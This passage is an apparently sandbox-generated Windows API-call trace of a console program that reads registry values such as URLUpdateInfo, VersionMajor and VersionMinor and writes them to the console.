lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.628] GetConsoleOutputCP () returned 0x1b5 [0150.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.629] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.629] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.629] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.629] GetProcessHeap () returned 0x3c0000 [0150.629] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.629] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.629] __iob_func () returned 0x7fefd702a80 [0150.629] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.629] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.629] _fileno (_File=0x7fefd702ab0) returned 1 [0150.629] _errno () returned 0x204bb0 [0150.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.629] _errno () returned 0x204bb0 [0150.629] GetFileType (hFile=0x50) returned 0x1 [0150.629] lstrlenW (lpString=" ") returned 4 [0150.629] GetConsoleOutputCP () returned 0x1b5 [0150.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.629] GetConsoleOutputCP () returned 0x1b5 [0150.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.630] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.630] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.630] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.630] __iob_func () returned 0x7fefd702a80 [0150.630] _fileno (_File=0x7fefd702ab0) returned 1 [0150.630] _errno () returned 0x204bb0 [0150.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.630] _errno () returned 0x204bb0 [0150.630] GetFileType (hFile=0x50) returned 0x1 [0150.630] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.630] GetConsoleOutputCP () returned 0x1b5 [0150.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.630] GetConsoleOutputCP () returned 0x1b5 [0150.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.630] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.630] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.630] __iob_func () returned 0x7fefd702a80 [0150.630] _fileno (_File=0x7fefd702ab0) returned 1 [0150.630] _errno () returned 0x204bb0 [0150.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.630] _errno () returned 0x204bb0 [0150.630] GetFileType (hFile=0x50) returned 0x1 [0150.630] lstrlenW (lpString=" ") returned 4 [0150.630] GetConsoleOutputCP () returned 0x1b5 [0150.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.631] GetConsoleOutputCP () returned 0x1b5 [0150.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.631] __iob_func () returned 0x7fefd702a80 [0150.631] _fileno (_File=0x7fefd702ab0) returned 1 [0150.631] _errno () returned 0x204bb0 [0150.631] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.631] _errno () returned 0x204bb0 [0150.631] GetFileType (hFile=0x50) returned 0x1 [0150.631] lstrlenW (lpString="REG_SZ") returned 6 [0150.631] GetConsoleOutputCP () returned 0x1b5 [0150.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.631] GetConsoleOutputCP () returned 0x1b5 [0150.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.631] __iob_func () returned 0x7fefd702a80 [0150.631] _fileno (_File=0x7fefd702ab0) returned 1 [0150.631] _errno () returned 0x204bb0 [0150.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.632] _errno () returned 0x204bb0 [0150.632] GetFileType (hFile=0x50) returned 0x1 [0150.632] lstrlenW (lpString=" ") returned 4 [0150.632] GetConsoleOutputCP () returned 0x1b5 [0150.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.632] GetConsoleOutputCP () returned 0x1b5 [0150.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.632] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.632] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.632] __iob_func () returned 0x7fefd702a80 [0150.632] _fileno (_File=0x7fefd702ab0) returned 1 [0150.632] _errno () returned 0x204bb0 [0150.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.632] _errno () returned 0x204bb0 [0150.632] GetFileType (hFile=0x50) returned 0x1 [0150.632] lstrlenW (lpString="") returned 0 [0150.632] __iob_func () returned 0x7fefd702a80 [0150.632] _fileno (_File=0x7fefd702ab0) returned 1 [0150.632] _errno () returned 0x204bb0 [0150.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.632] _errno () returned 0x204bb0 [0150.632] GetFileType (hFile=0x50) returned 0x1 [0150.632] lstrlenW (lpString="\n") returned 1 [0150.632] GetConsoleOutputCP () returned 0x1b5 [0150.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.633] GetConsoleOutputCP () returned 0x1b5 [0150.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.633] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.633] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.633] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.633] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.633] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.633] GetProcessHeap () returned 0x3c0000 [0150.633] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.633] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xb, pcbData=0x29f780*=0x4) returned 0x0 [0150.633] __iob_func () returned 0x7fefd702a80 [0150.633] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.633] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.633] _fileno (_File=0x7fefd702ab0) returned 1 [0150.633] _errno () returned 0x204bb0 [0150.633] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.633] _errno () returned 0x204bb0 [0150.633] GetFileType (hFile=0x50) returned 0x1 [0150.633] lstrlenW (lpString=" ") returned 4 [0150.634] GetConsoleOutputCP () returned 0x1b5 [0150.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.634] GetConsoleOutputCP () returned 0x1b5 [0150.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.634] lstrlenW (lpString="VersionMajor") returned 12 [0150.634] __iob_func () returned 0x7fefd702a80 [0150.634] _fileno (_File=0x7fefd702ab0) returned 1 [0150.634] _errno () returned 0x204bb0 [0150.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.634] _errno () returned 0x204bb0 [0150.634] GetFileType (hFile=0x50) returned 0x1 [0150.634] lstrlenW (lpString="VersionMajor") returned 12 [0150.634] GetConsoleOutputCP () returned 0x1b5 [0150.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.634] GetConsoleOutputCP () returned 0x1b5 [0150.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.635] __iob_func () returned 0x7fefd702a80 [0150.635] _fileno (_File=0x7fefd702ab0) returned 1 [0150.635] _errno () returned 0x204bb0 [0150.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.635] _errno () returned 0x204bb0 [0150.635] GetFileType (hFile=0x50) returned 0x1 [0150.635] lstrlenW (lpString=" ") returned 4 [0150.635] GetConsoleOutputCP () returned 0x1b5 [0150.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.635] GetConsoleOutputCP () returned 0x1b5 [0150.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.635] __iob_func () returned 0x7fefd702a80 [0150.635] _fileno (_File=0x7fefd702ab0) returned 1 [0150.635] _errno () returned 0x204bb0 [0150.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.635] _errno () returned 0x204bb0 [0150.635] GetFileType (hFile=0x50) returned 0x1 [0150.635] lstrlenW (lpString="REG_DWORD") returned 9 [0150.635] GetConsoleOutputCP () returned 0x1b5 [0150.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.636] GetConsoleOutputCP () returned 0x1b5 [0150.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.636] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.636] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.636] __iob_func () returned 0x7fefd702a80 [0150.636] _fileno (_File=0x7fefd702ab0) returned 1 [0150.636] _errno () returned 0x204bb0 [0150.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.636] _errno () returned 0x204bb0 [0150.636] GetFileType (hFile=0x50) returned 0x1 [0150.636] lstrlenW (lpString=" ") returned 4 [0150.636] GetConsoleOutputCP () returned 0x1b5 [0150.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.636] GetConsoleOutputCP () returned 0x1b5 [0150.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.636] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.636] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.636] __iob_func () returned 0x7fefd702a80 [0150.636] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.636] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xb") returned 3 [0150.636] _fileno (_File=0x7fefd702ab0) returned 1 [0150.637] _errno () returned 0x204bb0 [0150.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.637] _errno () returned 0x204bb0 [0150.637] GetFileType (hFile=0x50) returned 0x1 [0150.637] lstrlenW (lpString="0xb") returned 3 [0150.637] GetConsoleOutputCP () returned 0x1b5 [0150.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.637] GetConsoleOutputCP () returned 0x1b5 [0150.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb", lpUsedDefaultChar=0x0) returned 3 [0150.637] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.637] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.637] __iob_func () returned 0x7fefd702a80 [0150.637] _fileno (_File=0x7fefd702ab0) returned 1 [0150.637] _errno () returned 0x204bb0 [0150.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.637] _errno () returned 0x204bb0 [0150.637] GetFileType (hFile=0x50) returned 0x1 [0150.637] lstrlenW (lpString="\n") returned 1 [0150.637] GetConsoleOutputCP () returned 0x1b5 [0150.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.637] GetConsoleOutputCP () returned 0x1b5 [0150.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.638] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.638] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.638] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.638] GetProcessHeap () returned 0x3c0000 [0150.638] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.638] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.638] __iob_func () returned 0x7fefd702a80 [0150.638] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.638] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.638] _fileno (_File=0x7fefd702ab0) returned 1 [0150.638] _errno () returned 0x204bb0 [0150.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.638] _errno () returned 0x204bb0 [0150.638] GetFileType (hFile=0x50) returned 0x1 [0150.638] lstrlenW (lpString=" ") returned 4 [0150.638] GetConsoleOutputCP () returned 0x1b5 [0150.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.639] GetConsoleOutputCP () returned 0x1b5 [0150.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.639] lstrlenW (lpString="VersionMinor") returned 12 [0150.639] __iob_func () returned 0x7fefd702a80 [0150.639] _fileno (_File=0x7fefd702ab0) returned 1 [0150.639] _errno () returned 0x204bb0 [0150.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.639] _errno () returned 0x204bb0 [0150.639] GetFileType (hFile=0x50) returned 0x1 [0150.639] lstrlenW (lpString="VersionMinor") returned 12 [0150.639] GetConsoleOutputCP () returned 0x1b5 [0150.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.639] GetConsoleOutputCP () returned 0x1b5 [0150.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.639] __iob_func () returned 0x7fefd702a80 [0150.639] _fileno (_File=0x7fefd702ab0) returned 1 [0150.640] _errno () returned 0x204bb0 [0150.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.640] _errno () returned 0x204bb0 [0150.640] GetFileType (hFile=0x50) returned 0x1 [0150.640] lstrlenW (lpString=" ") returned 4 [0150.640] GetConsoleOutputCP () returned 0x1b5 [0150.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.640] GetConsoleOutputCP () returned 0x1b5 [0150.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.640] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.640] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.640] __iob_func () returned 0x7fefd702a80 [0150.640] _fileno (_File=0x7fefd702ab0) returned 1 [0150.640] _errno () returned 0x204bb0 [0150.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.640] _errno () returned 0x204bb0 [0150.640] GetFileType (hFile=0x50) returned 0x1 [0150.640] lstrlenW (lpString="REG_DWORD") returned 9 [0150.640] GetConsoleOutputCP () returned 0x1b5 [0150.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.640] GetConsoleOutputCP () returned 0x1b5 [0150.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.641] 